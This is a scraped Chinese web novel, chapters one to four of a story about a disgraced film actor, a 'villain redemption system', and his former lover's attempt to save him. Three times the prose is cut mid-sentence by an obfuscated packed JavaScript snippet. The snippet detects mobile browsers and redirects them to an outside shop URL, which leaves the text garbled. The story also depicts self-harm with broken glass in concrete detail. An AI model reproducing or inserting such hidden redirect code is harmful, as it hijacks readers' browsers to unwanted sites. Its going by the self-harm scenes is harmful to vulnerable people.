《反派他不想被救赎[单元文]》 1. 反派救赎系统 第一章 群演的价格是一百块钱。 季斓冬当然不是群演,好歹也拿过影帝,十五岁出道,拿影帝那年季斓冬二十一,今年他二十七岁了。 竹篮打水一场空。 现在的季斓冬,要靠三流片混饭吃,名声喂狗,脸皮祭天。 季斓冬拿着药瓶,拧开矿泉水,披着件破外套,坐在台阶上。 有人到死都是一副好皮相。 季斓冬没卸妆,身上连土带泥,手腕伤疤纵横,额发散乱着垂在眉间,薄薄眼皮下眼瞳深邃,脏得狼狈,依旧好看。 骨节分明的颀长手指拨了拨空气。 眼前这个无缘无故出现、自称“反派救赎系统”的蘑菇,其实鬼鬼祟祟跟了他三天了。 季斓冬还以为自己的精神病又有加重,多吃了好几倍的药。 系统:「……首先。」 首先,它不是蘑菇。系统没有实体,只是一组数据,目标人物的脑子里装的是什么,看它就是什么。 系统当过帅哥,当过美女,当过支票,第一次当蘑菇。 其次,季斓冬应当把药瓶放下。 再吃要死人了。 「我是为你来的。」系统说,「季斓冬,你做反派的时候,仗着影帝的身份跋扈霸道,打压、针对、排挤新人,无所不用其极,干了很多坏事。」 季斓冬点了点头,拿过盒饭:“是。” 系统一噎,继续说:「你还买黑料,操控舆论,某种意义上,你对杨霄凡的死亡有不可推卸的责任。」 杨霄凡是个炮灰角色,爆火的新人顶流,本来前途无量,因为被季斓冬针对逼得走投无路,最终跳楼自杀。 季斓冬掰开一次性筷子:“是。” 系统:「你还一直在打压你同母异父的弟弟,季然,他并没做错什么。」 季然是这个世界的主角,天命之子,如今真正的人气巨星,片场已经够偏僻,依然能看见不远处的巨幅广告。 季然比季斓冬小三岁,整个成长过程,他一直活在季斓冬的阴影下,痛苦不堪,甚至一度患了抑郁症。 季斓冬低头扒饭:“是。” 系统:…… 系统:「你还拔了你继父的呼吸管,把你亲生母亲送进了精神病院,你被封杀的直接原因是你被爆出你十五岁时过失杀人,死者是你的亲生父亲。季斓冬,你是个杀人犯。」 这次,季斓冬捏着筷子的手终于停顿,但只是不到一秒,就又把冷透的米饭囫囵扒进嘴里。 这东西说的都对。 季斓冬都认,他知道自己罪有应得,正在遭报应,多半已经活到了头。 给他三流片资源的人,是怜悯,是讥讽,是痛打落水狗,他不得而知,但的确恶心。廉价劣质的服化道,垃圾堆一样的摄影棚,季斓冬有幸看过点剪辑的片段,昏暗混乱,充满下三滥的暗示,脏人眼睛。 季斓冬扔下空饭盒,灌了两口水,又去摸药瓶。 药瓶被无形的力量撞掉在地上。 系统第一次见这么冥顽不灵的反派,有些气恼,在半空投射虚拟屏幕,给出季斓冬一塌糊涂的身体状况,又拉出一张关系网,细细的光线牵起几个头像。 其中有两个人最显眼。 厉行云、季然。 如果说季然是这个世界的主角,厉行云就是他最大的金手指。 厉氏集团的小少爷,真正够资格当背景的金主,如今厉阳传媒的总裁,以及……季斓冬曾经的同居人。 「他们两个在找你,想救赎你。」系统说,「你配合一下,行吗?」 这个世界已经完成了绝大部分清算,最后一步,是季斓冬被治愈、释然、放下过往,然后就能打上一个皆大欢喜的HE标签。 「他们会给你住,给你吃,对你很好,不计前嫌。」 系统:「你被治愈一下,然后就搞定了。」 季斓冬:“搞定了?” 「对啊。」系统一直是这么工作的,「他们就能自由,不再有牵绊,奔向新人生。」 毕竟主角是不能有亏欠的。 对反派的亏欠也不行。 季斓冬第一次听这个说法,觉得有趣,拉过屏幕看了看。 上面的内容甚至还很全,备注了厉行云十几岁的时候,和家里闹掰,身无分文负气离家出走,又被季斓冬收留的始末。 季斓冬对不起过很多人,不包括厉行云。 季斓冬对厉行云很好,放在家里养着,节日有礼物,每周有烛光晚餐,厉行云喜欢玩车,就换着花样地买豪车给他过瘾。 两个人开始有矛盾,是厉行云无法接受季斓冬不择手段的行径,认为季斓冬伤害了太多人。 而彻底闹掰的导火索,是厉行云发现,季斓冬从一开始就知道他的身份,收留他也只是为了攀上厉家。 季斓冬如今的身败名裂、罪有应得,与厉行云有直接关系。 但如今不停在找季斓冬,甚至不惜动用关系得罪人的,也是厉行云。 「我建议你不要和他置气。」系统劝说,「至少跟他回去,衣食住行的条件会好很多,也不用再拍这种东西……」 系统:「你不会真的要拍下一场吧?」 季斓冬看了看破破烂烂的剧本。 没有剧情,没有台词,但有分镜。 下场戏是纯粹羞辱人的东西,要他演一个嗑药嗑疯了的畜生,观众是藏在背后的秘密金主,这个圈子的深处黑暗扭曲到极致,有的是人不配称之为人。 季斓冬这些年树敌无数,跋扈傲慢,一朝失势,理当有这种报应。 季斓冬没要拍,就是好奇:“和我搭戏的是谁?” 系统:「?」 “算了。”季斓冬扔下剧本,“没必要。” 在这种“剧组”里的,要么是他这种走投无路等死的垃圾,要么是刚入门被骗来的新人。 拍了那种东西,母带掐在背后金主手里,以后做什么就全要被拿捏。 没必要。 季斓冬接这戏是因为没钱买药。 他问系统:“我跟厉行云走,他能给我买药吗?” 系统:「……你不能再吃药了,季斓冬。」 季斓冬也不想:“可我还是幻听。” 幻听的症状越来越复杂,甚至臆想出一个自称“反派救赎系统”的东西,纠缠不清,啰啰嗦嗦细数他犯了什么罪,还毫无根据地指控他脑子里全是蘑菇。 系统:「……」 季斓冬拧开药瓶,数了数药片,刚要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344628|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往嘴里倒,门就被重重推开。 闯进来的人年轻高挑,二十五六岁,拎着摩托车头盔,牛仔裤皮夹克,脑袋上的红毛像刺猬。 来人面色冰冷,死盯着季斓冬,大口喘气,眼底阴云密布。 系统一亮:「厉行云!你看,季斓冬,我没说错吧?你能不能配合配合,被治愈一下?」 季斓冬只能和蘑菇讲道理:“他不是厉行云。” 系统快被他逼疯了:「为什么??」 季斓冬撑着膝盖站起身。 他抬头,看着眼前的人影。 为什么呢。 大概是因为,在最合理的逻辑里,眼前的人影,只是他和厉行云谈恋爱时的那个幻象。 季斓冬偶尔会看到这种幻象,那时候他像是活着,混进厉行云轰响油门时的风驰电掣,偷窃属于厉行云的活气。 厉行云蹭进他怀里,闹着他帮忙把脑袋染成红的,咬他手上的三明治,往他手上戴易拉罐戒指。 那几年里,季斓冬以为自己也活着。 后来狂飙的车撞上命运的铁栅。 再后来,季斓冬见过厉行云一次,他亲手给厉行云染的头发已经变回冷静的黑色,厉总衬衫西装,青年才俊,望向他的眼睛漠然冰冷。 就像他们决裂那天,厉行云盯着季斓冬,脸上的神情说不出是痛苦还是失望,他说季斓冬,你他妈的是个杀人犯。 你是个杀人犯啊。 …… 再后来,季斓冬不再去见厉行云。 但也还是会见。 厉行云成立了厉阳传媒,频繁在荧幕上亮相,替季然站台,陪季然参加综艺,季然的粉丝满眼红心喊着好配拉CP,厉总一笑置之。 「他和季然不是那种关系。」系统不惜剧透证明自己不是蘑菇,「他补偿季然,只是因为他觉得你太对不起季然了,他心里认为他和你是一起的,所以替你赎罪。」 季斓冬看向墙角的蘑菇,他的神情很平缓,只是眉宇苍白,渗出涔涔冷汗,叫人看得很不安。 季斓冬想了一会儿:“哦。” 系统愁崩了:「哦什么?!?」 季斓冬:“他不是厉行云。” 季斓冬承认自己是个性格恶劣的混账,是个罪有应得的反派典型,他承认自己极度以自我为中心,甚至已经病态。 就比如,他并不认为厉行云会这么做,他认为厉行云会先问问他真相,先问他为什么这样对季然,然后让他安安静静抱一会儿,给他喝点热水。 所以季斓冬不认为系统描述的是厉行云。 眼前的这个人也不是。 可能是派来搞仙人跳骗他的圈套。 可能是幻觉。 季斓冬觉得自己该吃颗药,他攥着药瓶去拿矿泉水,被死死攥住胳膊,攥着他的手用力过度甚至发抖。 人影张口,发出厉行云的声音:“跟我回去。” 矿泉水洒出来大半,冰凉,季斓冬皱眉,看向通红到透出血丝的眼睛。 他不认识眼前的这个人,哪怕这人穿着和厉行云一样的衣服、染着一样颜色的头发,甚至有一模一样的声音。 “……哥。”厉行云哑声说,声音发抖,近乎哀求,“跟我回去,你不要我了吗?” 2. 我不太想说 第二章 季斓冬想不明白这人为什么这么说。 他选择问蘑菇:“这也是你们‘反派救赎套餐’里的项目?” 系统:「……」 厉行云发着抖咬牙,抢下药瓶扔掉,把季斓冬抱进怀里。 抱得很紧。 季斓冬倒不介意,干这行的谁还没抱过几下,碰一碰,不会少块肉。 苍白手指微弯,抬起来,拨了拨扎手的红色短发。 “新人?”季斓冬低头,“抱错大腿了,我就是个混日子的神经病。” 厉行云握住这只手。 季斓冬的手,曾经值三千万,代言的奢侈品男戒一夜之间卖到脱销,休假在家的时候,偶尔有了兴致,又会亲自下厨做饭。 网上依然有综艺片段,这双手勾勾手指,逗厉行云过来蹭吃蹭喝。 捏一块刚出锅的炸鲜奶,塞进厉行云嘴里,把人烫得满地乱走,再捏一捏厉少爷快打满了耳洞的耳朵。 ……都过去了。 季斓冬问:“喝水吗?” 厉行云沉默着摇头。 季斓冬本来也没想给他倒水,就一瓶矿泉水,自己吃药还不够:“所以,我们说清楚了?” 厉行云问:“说清楚什么?” “你找错了人。”季斓冬说,“不论你要找谁,我是个精神病,人渣,杀人犯。” 厉行云倏地抬眼。 厉行云的眼底满是血丝,看得出很久没好好休息,赤红透支,精疲力竭。 “……你不是。”厉行云说,“哥,我想明白了,我相信你有苦衷,你不是。” 季斓冬笑了笑:“哇。” 厉行云跟着打了个哆嗦。 他再撑不下去,攥住季斓冬的手腕,把人往门外拖,被几个凶神恶煞的纹身光头拦了路。 都壮得很,结结实实堵在门口,手里拎着家伙。 烈日下人影漆黑。 厉行云的神色变了变:“你们是干什么的?” “看着我的。”季斓冬好心解释,“是这样,这个圈子往深里扒很脏,落水狗没路可走,不能再当人。” 季斓冬说这话有说服力,他其实生在这个圈子里,他亲生父亲是拿过奖的导演,亲生母亲是模特经纪人,继父是宾朋如云的知名摄影师,有自己的工作室。 厉行云眉头紧锁,双唇死死抿成一线,脸色开始泛白。 不是因为害怕,厉行云并不怕打架,他被季斓冬捡到,就是因为赤手空拳对付一群深夜耍流氓使坏的混混,被那些人打了个半死。 他只是……满脑子只剩一个念头。 季斓冬的身体怎么糟成这样。 厉行云的手发僵,紧紧攥着那些满是伤痕的粗糙手指,拇指按着脉搏,余光看到被他强行拖着的人影。 这半年来,他为了找季斓冬,想尽了办法,不知跑了多少地方。 最后终于找到一家私人医院。 季斓冬生了病,厉行云反复逼问过医生,只得到这样的结论。 病历上说季斓冬有幻听、幻视、认知功能损害,有严重的自伤倾向。这还是个相当有迷惑性的病人,不熟悉的人,很容易就会被欺骗过去,觉得他一切正常。 厉行云嗓子发抖,出声吃力,做了几次口型:“哥。” 季斓冬低头:“嗯?” “你最好松开我。”季斓冬建议,“和他们解释,你走错了,找错了人,他们就会放你走。” 厉行云低头,盯着自己的脚尖。 现在的季斓冬……看起来,比过去平和了很多。 不再傲慢,不再嚣张跋扈,甚至显得仿佛脾气很好,像个很友善的前辈。 季斓冬平静地站在太阳底下。 薄薄的眼皮微垂,静静遮着眼睛。 还算看得过眼的华美皮囊下,是硌手的骨头架子。 乱七八糟的心跳。 烈阳当空,白花花的日光扎着眼底,酸胀疼痛,不堪忍受。 “要是……”厉行云低声说,“要是,我不放呢?” 季斓冬蹙了蹙眉。 厉行云用力闭上眼睛,他知道季斓冬生了病,他会来找季斓冬,就已经做好了一切准备。 包括季斓冬不认他。 “我是……一家新成立的媒体工作室的老板,”厉行云说,“我是你的粉丝,想签你,哥,你能不能圆我这个愿望?” 他这么问,却没给季斓冬回答的机会,不由分说扯着季斓冬向外走,那几个凶恶的彪形大汉堵上来,被钞票毫不客气砸了脸。 厉行云盯着这些人,瞳孔漆黑,近乎阴郁:“这个人我要带走。” “你们想清楚。”厉行云说,“付钱让你们在这看着的人,我给十倍,把路让开。” 季斓冬轻轻笑了声。 厉行云咬着牙关,脸上发烧,却从舌根里向外泛出苦涩。 他不知道季斓冬在笑什么,但这样漫不经心的笑,让他想起几年前,他被人摩托赛事背后的金主报复软禁,季斓冬去接他。 厉少爷中二期没过完,满脑子英雄梦,窝在保姆车后座狼吞虎咽塞蛋糕,嘟嘟囔囔不满意:“所以就是拿钱把我赎出来的啊?我还以为哥你单枪匹马,杀进我们家……” 这话得来一个不轻不重的脑瓜崩,厉行云被那只温暖干燥的手拢着,抹掉唇角的奶油,心满意足央上去索吻。 他们在车里接吻,季斓冬显得很疲倦,仰在后座,轻轻摸他的头发,泛着血丝的眼睛微弯。 那天……季斓冬和他说什么? “能用钱解决的事,是最简单的事。” 季斓冬对他说,这世上没那么多跌宕起伏,没那么多英雄,只要用钱就能解决,已经很不错了。 季斓冬还对他说,这世上有的是没法拿钱解决的事。 真走投无路了,没得选,只能挑最坏的办法。 厉行云追问什么是最坏的办法,可不论怎么问,都没问出半个字——厉行云当然没法靠自己想象得出,他是含着金汤匙生下来的少爷,人生最大的挫折是和老头子吵架负气离家出走。 …… 现在,厉行云终于稍微见识到过去陌生的范畴。 用钱打发掉拦路的障碍,又有西装革履、彬彬有礼的代理人拿出合同,微笑着请厉总借一步聊聊。 要聊的内容也很简单,季斓冬是他们老板要报复的人。 有心情弄出一个三流剧本侮辱人的人,是不缺钱的,不缺钱,自然也就没那么容易被钱打动。 所以,想带走季斓冬,得让他们老板高兴。 厉行云扶着季斓冬,屏着呼吸,小心让他坐在门口的马扎上:“哥。” 季斓冬似乎已经很久没出过房间,看到太阳,显得心情很好,正研究地上搬家的蚂蚁:“嗯?” 厉行云握着他的手抬头,他其实在想,那天季斓冬去接他,除了出钱,究竟还付出了些什么代价。 为什么季斓冬那天显得那么疲倦。 为什么脸色异常苍白,颈侧全是冷汗,是不是只是像季斓冬说的,连轴转没睡觉,太累了。 厉行云摸了摸季斓冬的脸。 他缓着嗓子:“你坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344629|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这,哥,好好等我,我一会儿带你回……回工作室。” “我签你了。”厉行云说,“以后我跟你是一伙的,咱们俩绑定。” 季斓冬半开玩笑:“干嘛这么想不开?” 厉行云努力扯了下嘴角,摇摇头,脱下外套盖在季斓冬身上:“脑残粉吗,就是这样,没什么稀奇的。” 厉行云站起身,跟着那个人模狗样的代理人去了附近的“办公室”。 系统蘑菇从石头缝里钻出来。 它也忍不住好奇,问季斓冬:「你当时去接厉行云,还发生什么别的事了吗?」 系统是反派救赎系统,顾名思义,只有大结局阶段,需要结算反派救赎值的时候,才会进入世界。 所以系统也并不知道过往的具体细节。 但好消息是,季斓冬的救赎值略有上升——从0%到了9%,还在缓慢上涨,眼看就要到两位数。 这也正常,毕竟在厉行云来之前,季斓冬已经被关在这屋子里一个多月。 今天是他一个多月来第一次见太阳。 系统问季斓冬:「为了带厉行云走,你受伤了?那些人逼你干了什么,喝酒?折磨你?」 “嗯?”季斓冬回想了想,“没有。” 季影帝当时好歹还有几分薄面。 并没被折磨。 季斓冬说:“他们只是让我在等候室里,看一段投影录像,反复看几百遍。” 系统有些诧异:「什么录像?」 “监控。”季斓冬捡起一块碎玻璃,摸了摸,换另一块,“监控录像,我是怎么杀人的。” 很短的视频,不到十秒,所以轻易就能循环播放几十上百遍,因为是投影,所以也没什么可砸碎。 只有光,灰尘,和白墙。 系统愕然。 季斓冬把碎玻璃举起来,对着太阳照了照。 摔碎的空啤酒瓶——在垃圾场,这种东西有很多,有点耐心,能找到足够锋利的。 那些人没在房间里给他留下什么能用的东西。 多谢这个自说自话的红头发奇怪粉丝,把他从屋子里带出来。 季斓冬问蘑菇:“我十五岁,不想当反派的,你信吗?” 系统:「……你先把玻璃放下。」 季斓冬很和气,笑了笑:“信吗?” 救赎值忽然大幅上涨,这完全异常,系统骤然警铃大作,慌忙改口:「信!季斓冬,你冷静一下,如果你被污蔑了,难道不想澄清事实还你个清白让那些混蛋看看——」 季斓冬摇头。 勉强算锋利的玻璃碎片,耐心地割破皮肉,血渗出来。 救赎值停在59.6%。 季斓冬有点尴尬,安慰系统:“差不多算及格了吧?没差很多,你和上级商量商量。” 去他的及格,系统从没这么急,疯狂翻找数据补丁:「季斓冬,你等等,我去翻记录,我现在觉得你是被冤枉的。」 系统问:「季斓冬,你很难受,是不是?这么多年你很累。」 「没人问过你为什么,你想被问的,是不是?季斓冬,我现在问你,当初到底是怎么回事?你讲给我听,我相信你,你就当我是蘑菇。」 系统不知道自己说对了哪句话,又或者是说错了哪句,虚高的救赎值波动了下,无声无息幻灭。 季斓冬垂着眼睛,神色很平和,静静看它。 系统发现那只渗血的手里是空的。 季斓冬把碎玻璃按进肋骨缝隙,他很礼貌,向系统道歉:“我不太想说。” 他说:“很疼。” 3. 添麻烦了 厉行云白着脸色,大步赶回来时,第一眼看见血。 刺眼的血。 鲜红。 季斓冬还坐着,看见厉行云,和气地打招呼,想和他要一支烟。 厉行云不会动也不敢动。 他瞳孔收缩,冷汗往外渗,嗓音因为过度紧张而嘶哑:“……好,哥你抽什么烟?我带你去买。” 季斓冬过去不抽烟,也不喝酒。 厉行云的记忆里,季斓冬野心极强,自我要求也严苛,抽烟伤嗓子、喝酒毁气色,这种事季斓冬不碰。 现在季斓冬坐在地上,仰头和他要烟:“春城吧?” 厉行云胡乱点头:“行。” 他跪下来,尽力不惊动季斓冬,强迫僵硬的手指打弯,扶住季斓冬的手臂。 季斓冬被他扶起来。 右手垂着,晃荡,指尖向下淌血。 碎玻璃完全被按进左胸,因为太瘦削,甚至能看见满是血污的苍白皮肤下,玻璃跟着心跳搏动。 厉行云的手冰冷发抖,他尽全力稳住动作,脱了棉质T恤揉成一团,替季斓冬堵着伤口,打电话叫了救护车。 他把季斓冬扶上摩托车,这里没信号,要往有定位的路口赶。 季斓冬坐不稳,垂着头和手脚向下滑,厉行云只能用束缚带把人捆在自己背上:“哥,别睡,哥,咱去买烟。” 该死的破地方偏僻,满目荒芜野草,只有条破烂土路。 厉行云拧死油门,摩托车轰鸣着飙出去,灰尘飞扬,不见人烟。 季斓冬静静靠在他背上,呼吸冰冷微弱,断断续续,掠过厉行云的脖颈。 “谢谢你。”季斓冬问,“你叫什么?” 厉行云攥着车把的手泛出青白。 过了几秒,他才回答:“厉阳。” 季斓冬笑了笑。 厉行云尽力替他挡风,试着轻声问:“这名字好笑?” 季斓冬没再回答,下一个转弯,背后的身体歪倒,厉行云看见救护车,摩托车刺耳急刹,他解开束缚带踉跄着下车抱住人,怀里的身体瘦削到轻飘。 季斓冬很安静,嘴唇苍白干涸,微张着的眼睛越过他直视烈阳。 急救员冲过来拉心电图,在警报里忙着急救,厉行云怔怔站在一旁,耳鸣吞噬一切嘈杂,视野泛白,手上身上都是血。 他的血和季斓冬的血。 在那个所谓的“办公室”里,厉行云知道了不能用钱解决的事,处理起来有多麻烦。做少爷能打架,反正打输了吃亏了有人兜底,季斓冬不止一次去警局保释厉行云,半头痛半好笑地弹他脑瓜崩。 做厉总就不能了,厉阳传媒刚起步没多久,惹人就是自绝生路,厉行云选了最容易的,捡起把刀捅了胳膊。 往脸上砸的冰冷现实,让没吃过苦的厉少爷想起当年不知天高地厚的野望。 厉行云记得那是半夜。 漫天星斗,路边野草里有蛐蛐叫。 季斓冬墨镜口罩全副武装,连个助理也没带,去警局保释他。 被弹脑瓜崩的厉少爷不服气地叫屈:“他们先欺负人的!我是见义勇为,哥,你知不知道见义勇为有多爽……” “不知道。”季斓冬往他脸上的淤青按煮鸡蛋,“你知不知道明天公司要罚我几百万。” 季斓冬出道得早,古怪的是,他虽然出身就在这圈子里,却似乎半点红利没吃到,合同苛刻到匪夷所思。 知名男星深夜出没警局。 以季斓冬被狗仔围堵的程度,少不了几百万公关费。 公司是不可能出的,还是要从季影帝账上扣。 厉行云想起这事就来气:“哥,你等我将来开个经纪公司,就签你一个,把你照顾得好好的。” “将来我养你,哥,我不让你受委屈,天王老子来了也别想欺负你。” 季斓冬很少对他的“宏大愿望”发表意见,配合点头,继续开车。 厉行云来了劲,抱着他的胳膊不撒手:“哥,你给起个名字吧,起个名,算咱俩婚后财产。” 季斓冬被他闹得没法,把车停在路边,弹他耳朵:“胡说八道。” 哪来的婚后,国内又没有相关法律。 厉行云不在乎:“国外有啊,咱们去结个婚呗,哥,我想跟你当一家人。” 这话说完,厉行云看见季斓冬怔住。 季斓冬很少怔住。 十三岁入行,二十出头在这圈子就是前辈,载誉满身,季斓冬身上早没了稚气青涩,接角色也早就往偏沉稳成熟的赛道发力。 那个晚上,季斓冬看着厉行云,不说话,只是看。 大概看了很久,久到厉少爷不满意,闹着要亲嘴。 季斓冬被闹得低头笑,那一刻居然有些罕见的清爽少年气,厉行云解开安全带,舒舒服服爬到季斓冬怀里腻歪,季斓冬轻轻亲他,他们的车停在路边,夜风很凉。 季斓冬把他抱得很紧。 ……厉行云视线发空,坐在救护车的后车厢,被叫了几次,才回过神。 他沙哑出声:“……抱歉。” 急救员在包扎季斓冬的右臂。 举着绷带,不知道该怎么下手,因为当事人显然是在找大血管,碎玻璃把皮肉几乎割烂。 “病人有自杀倾向吗?”口罩后的医生担忧,蹙紧眉头,“这种事不会少,你们做家属的陪护,要精心了。” 厉行云挪动视线,从自己紧紧攥着的手向上,看昏迷的季斓冬。 呼吸机运转发出噪音,密密麻麻的管线把人和机器相连,生命变成数据,线条,在灰白屏幕里微弱挣扎。 医生提醒:“可以说说话。” 厉行云道谢,吃力点头。 狭小晃动的空间里,他跪下来,抱着季斓冬的肩膀,把滚烫的眼睛埋进失温的颈窝。 “哥。”厉行云说,“我是和你赌气。” 他异常吃力地、于事无补地解释:“我……没签季然。” 厉阳传媒。 他答应只给季斓冬一个人开的公司。 他拍着胸口保证,要照顾好季斓冬的公司。厉行云还记得自己说,一年给季斓冬放九个月的假,公司绩效标准是季影帝高不高兴,只要季影帝心情好了,全员发奖金吃大餐…… 那条回家的路很长,后来厉行云反复回想,算了很多遍,自己走了很多遍,终于意识到那晚季斓冬绕了路。 季斓冬绕了路,耐心听着厉小少爷吹牛逼,后视镜里的眼睛微微弯着。 厉行云花了很久,终于意识到一件事。 那个晚上的季斓冬心情很好。 …… 救护车火急火燎冲进医院。 急救员抬着担架,匆忙往急诊跑,到处都是人,很拥挤,厉行云握不住那只手,混乱的视野里季斓冬的手臂垂落。 手术室的灯亮了几个小时,终于熄灭,又一刻不停把人送进ICU。 ICU,加护病房。 抢救,会诊,转院,再转院。 有镇静效果的药水一滴一滴淌进血管,皮肉勉强长合,留下新的疤痕。 季斓冬苏醒,已经是十几天后。 映入眼帘的居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344630|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是病房,是装潢很温馨的卧室,窗帘严严实实拉着,暖色调的布艺台灯光线暗淡。 房间角落蜷缩着人影,抱着膝盖打瞌睡,姿势看起来并不舒服。 听见有动静,人影立刻跳起来,急迫地要往床边走。 季斓冬想了想:“厉总?” 人影顿住。 系统也错愕:「你又认得他了?」 季斓冬很久没见到蘑菇了,有些怀念,和它打招呼。 顺便解释:“这是厉总家。” 季斓冬的记忆力很好,他来这里拜访过一次,来拿自己过去送给厉行云的东西。 顺便在卧室里看见了季然。 系统愣了愣,看向脸色苍白的厉行云。 “我……”厉行云哑声说,“我和季然没关系。” 系统作证:「确实。」 季然那天会出现在卧室,是因为他抑郁症发作,半夜跑出去喝了很多酒,总不能扔给狗仔围着拍。 厉行云不得已把人带了回来。 并没发生什么。 十几天,厉行云憔悴得厉害,眼睛里满是血丝,头发已经有些褪色,衬衫衣领皱成一团。 他嘴唇干裂,一说话就渗血丝,嗓音沙哑:“哥,你信我……求你。” 季斓冬不太理解,但还是答应:“好。” 厉行云错愕,他没想到这么容易,反而生出浓浓不安:“哥?” “你帮了我吗?”季斓冬撑起身体,向他道谢,“添麻烦了。” 厉行云跪在床边,胸口起伏不定,仰着脸看他,眼睛里满是恐惧不安。 季斓冬看了他一会儿,笑了笑。 “没事。”季斓冬说,“咱们俩好聚好散,你和谁在一起都可以,我也没那么恨季然。” 这话存疑,毕竟在系统拿到的剧情里,季斓冬是季然罹患抑郁症的罪魁祸首。 二十多年来,季然一直生活在季斓冬的阴影里,压抑绝望,无法逃脱。 厉行云没法呼吸,只能拼命摇头。 “季然说谎,是不是?哥,我打赌他肯定说谎了。” “你不是会逼疯别人的人。” “我想明白了,哥,我蠢,我叫人挑拨了,想了这么长时间才想明白。” “我不该向着外人,我是混账王八蛋,哥,我居然不帮你向着外人,去他妈的季然,我跟他有半毛钱关系。” “我知道你生我的气,再饶我一次,行不行?” 他抓住季斓冬的手,发着抖不敢放,眼底压不住血色:“没好聚好散,哥,没散,我没想分手。” 厉行云的眼睛里透出恐惧绝望。 因为季斓冬的手。 季斓冬抬手,揉了两下他乱糟糟的暗淡红发,力道很轻,纱布从袖口透出来。 “没生气。”季斓冬的语气很温和,“是我的问题,我生病了。” 季斓冬其实想过很久,那些扭曲错位的混乱纠葛,要怎么理清,后来他偶尔会产生幻觉,看见继父、母亲和季然。 他有时候会觉得季然也是蘑菇,两双手,往里面浇灌毒汁,养出五颜六色的斑斓。 十七岁,他拿摄影棚里攒下的钱,带季然去看心理医生。 事情被狗仔捅破,继父和母亲赶到医院。 医生面前,季然怯懦,瞄着神色冰冷的父亲,和泫然欲泣的母亲,说前者回家就会被关禁闭,说后者,要面对母亲悲痛万分的绝望指控。 最后,季斓冬抱着手臂,在诊室外,听见里面的声音。 季然说:“我痛苦,是因为……因为我哥哥。” 4. 没必要 这段就诊录像,在多年以后,被有心人挖出。 大肆渲染。 成了砸在季斓冬身上的一锹泥。 一夕之间跌落进泥潭,成了人人喊打的杀人犯,季斓冬身上泥不嫌多,倒也没怎么轮得着在意。 系统搜遍了全网,找来视频看,越看越冒火:「他瞎说,我觉得他瞎说。」 系统追问季斓冬:「他骗人对不对?你被冤枉了。」 「我觉得你没打过他,没骂过他。」 「你那时候是想保护他才会带他去看医生的,是不是?」 「季斓冬,你要说出来,要揭穿真相,你揭穿了才有人会知道……」 季斓冬第一次被一个蘑菇吵得头疼。 他问系统:“吃药吗?” 系统:「……」 蘑菇不吃,季斓冬有些遗憾,向厉行云礼貌道谢,接过冒着热气的马克杯。 季斓冬把药吞下去。 他低头,等极苦过去,喝了两口热水。 厉行云看得愣神,怔怔抬手,想摸喉咙上亘着的一道疤。 过去这没有疤。 过去厉行云蹭进季斓冬怀里乱咬,含着季斓冬的喉结捣乱,被忙着看剧本的季斓冬捏着后脖颈拎进沙发。 季斓冬把这判定成厉少爷饿了,拢着后脑俯身,在脑门上亲一下,去给他冲老气横秋的养生芝麻糊。 ……回过神时,季斓冬挡着他的手臂,客气拦回。 厉行云听见自己开口,艰涩沙哑得厉害:“怎么……怎么弄的?” 季斓冬低头,发现看不见,想了想是哪道伤:“不小心。” 有段时间,大概一两个月,季斓冬还没太习惯单身且失业的空白生活。 把厉行云不要的东西取走后,他试着骑了骑摩托。资料泄露,提车的事被传出去,回家那条小路上,夜色里悄无声息多出一条风筝线。 厉行云的瞳孔狠狠颤了下。 他控制不住,攥紧季斓冬的手臂:“谁干的?!?” 季斓冬说:“季然的粉丝。” 厉行云错愕愣住。 “信了?”季斓冬看着他,笑了笑,放下马克杯,“我胡说的,不知道。” 警方查了,但监控没拍到正脸,季斓冬当时的骑行速度很慢,架势吓人,也没受太严重的伤。 消息传出去,季然的粉丝很高兴,这倒是真的。 毕竟视频里季然亲口说,自己之所以会抑郁,是长期被季斓冬蔑视、打压、羞辱。 是被季斓冬暗中处处针对刁难。 是季斓冬……欺负他。 这些指控刮起毁灭级的风暴,季然说得含糊其辞,但细思可怖,粉丝暴怒之下恨不得活剐了季斓冬:“科普一下,季然当时才十四岁,十四岁!他难道会说谎吗?” “季人渣是畜生这事还有人不知道?亲爹说杀就杀,还怕干不出更恶心的事?” “超雄还是反社会?太可怕了,该把这种人判死刑。” “恶心,好死。” “怎么没真把这渣滓的脑袋割掉?” “我居然还看过他的电影!呜呜,难受死了,简直赛博案底……” …… 粉丝暴怒,舆论飓风毁天灭地,季然不见人影,据经纪人说是在接受心理咨询、“断网休养”。 季斓冬至今被示众凌迟。 系统也没想到,这个世界的主角居然是这个做派,再看厉行云,也气得忍不住迁怒:「你应该让他选。」 